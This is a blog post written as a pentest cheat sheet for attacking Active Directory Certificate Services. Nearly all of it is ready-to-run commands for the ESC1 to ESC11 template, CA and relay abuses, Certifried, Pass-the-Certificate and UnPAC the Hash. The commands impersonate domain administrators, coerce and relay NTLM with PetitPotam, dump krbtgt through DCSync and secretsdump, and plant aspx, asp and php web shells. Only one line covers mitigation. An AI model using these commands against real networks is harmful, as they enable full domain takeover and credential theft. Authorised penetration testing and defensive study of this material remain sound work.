Pentest – Active Directory – Certificate Services

| 3 janvier 2024 | Non classé | Aucun commentaire

Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.

ADCS Enumeration

  • crackmapexec: crackmapexec ldap domain.lab -u username -p password -M adcs
  • ldapsearch: ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
  • certutil: certutil.exe -config - -ping, certutil -dump

ESC1 – Misconfigured Certificate Templates

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements

  • Template that allows for AD authentication
  • ENROLLEE_SUPPLIES_SUBJECT flag
  • [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)

Exploitation

  • Use Certify.exe to see if there are any vulnerable templates 
    Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
  • Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate) 
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
  • Use OpenSSL and convert the certificate, do not enter a password 
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  • Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus 
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx

WARNING: These certificates will still be usable even if the user or computer resets their password!

NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.

ESC2 – Misconfigured Certificate Templates

Requirements

  • Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation

  • Find template 
    PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
  • Request a certificate specifying the /altname as a domain admin like in ESC1.

ESC3 – Misconfigured Enrollment Agent Templates

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

  • Request a certificate based on the vulnerable certificate template ESC3. 
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'
  • Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user 
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC4 – Access Control Vulnerabilities

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to « push a misconfiguration to a template leading to ESC1 vulnerability

  • Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate 
    python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
  • Add the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag to perform ESC1 
    python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
C:\>StandIn.exe --adcs --filter WebServer --ess --add
  • Perform ESC1 and then restore the value 
    python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag

Using Certipy

# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json

ESC6 – EDITF_ATTRIBUTESUBJECTALTNAME2

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

Exploitation

  • Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. 
    Certify.exe cas
  • Request a certificate for a template and add an altname, even though the default User template doesn’t normally allow to specify alternative names 
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin

Mitigation

  • Remove the flag: certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 – Vulnerable Certificate Authority Access Control

Exploitation

  • Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions 
    Certify.exe find /vulnerable
  • Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6) 
    Certify.exe setconfig /enablesan /restart
  • Request the certificate with the desired SAN. 
    Certify.exe request /template:User /altname:super.adm
  • Grant approval if required or disable the approval requirement 
    # Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart

Alternative exploitation from ManageCA to RCE on ADCS server:

# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 – AD CS Relay Attack

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require Impacket PR #1101

  • Version 1: NTLM Relay + Rubeus + PetitPotam 
    impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentication

# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt

     

  • Version 2: NTLM Relay + Mimikatz + Kekeo 
    impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth

# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt

# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt

     

  • Version 3: Kerberos Relay 
    # Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine

# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v

     

  • Version 4: ADCSPwn – Require WebClient service running on the domain controller. By default this service is not installed. 
    https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local

# ADCSPwn arguments
adcs            -       This is the address of the AD CS server which authentication will be relayed to.
secure          -       Use HTTPS with the certificate service.
port            -       The port ADCSPwn will listen on.
remote          -       Remote machine to trigger authentication from.
username        -       Username for non-domain context.
password        -       Password for non-domain context.
dc              -       Domain controller to query for Certificate Templates (LDAP).
unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output          -       Output path to store base64 generated crt.

     

  • Version 5: Certipy ESC8 
    certipy relay -ca 172.16.19.100

     

ESC9 – No Security Extension

Requirements

  • StrongCertificateBindingEnforcement set to 1 (default) or 0
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies Any Client authentication EKU
  • GenericWrite over any account A to compromise any account B

Scenario

John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

  • Obtain the hash of Jane with Shadow Credentials (using our GenericWrite) 
    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
  • Change the userPrincipalName of Jane to be Administrator. ⚠ leave the @corp.local part 
    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
  • Request the vulnerable certificate template ESC9 from Jane’s account. 
    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator 
# the issued certificate contains no "object SID"
  • Restore userPrincipalName of Jane to Jane@corp.local. 
    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
  • Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user. 
    certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specified in the certificate.

ESC11 – Relaying NTLM to ICPR

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Requirements: * sploutchy/Certipy – Certipy fork * sploutchy/impacket – Impacket fork

Exploitation: 1. Look for Enforce Encryption for Requests: Disabled in certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout output 2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.

ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support

 

Certifried CVE-2022-26923

An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

  • Find ms-DS-MachineAccountQuota 
    python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes  'DC=lab,DC=local' ms-DS-MachineAccountQuota
  • Add a new computer in the Active Directory, by default MachineAccountQuota = 10 
    python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*'
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
  • [ALTERNATIVE] If you are SYSTEM and the MachineAccountQuota=0: Use a ticket for the current machine and reset its SPN 
    Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
  • Set the dNSHostName attribute to match the Domain Controller hostname 
    python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName '["DC.lab.local"]'
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
  • Request a ticket 
    # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
  • Either use the pfx or set a RBCD on your machine account to takeover the domain 
    certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10

openssl pkcs12 -in dc.pfx -out dc.pem -nodes
python bloodyAD.py -d lab.local  -c ":dc.pem" -u 'cve$' --host 10.10.10.10 setRbcd 'CVE$' 'CRASHDC$'
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'   
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10

Pass-The-Certificate

Pass the Certificate in order to get a TGT, this technique is used in « UnPAC the Hash » and « Shadow Credential »

  • Windows 
    # Information about a cert file
certutil -v -dump admin.pfx

# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

# Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
# To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
  • Linux 
    # Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
​
# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"

UnPAC The Hash

Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.

  • Windows 
    # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
  • Linux 
    # Obtain a TGT by validating a PKINIT pre-authentication
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# Use the session key to recover the NT hash
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'

References

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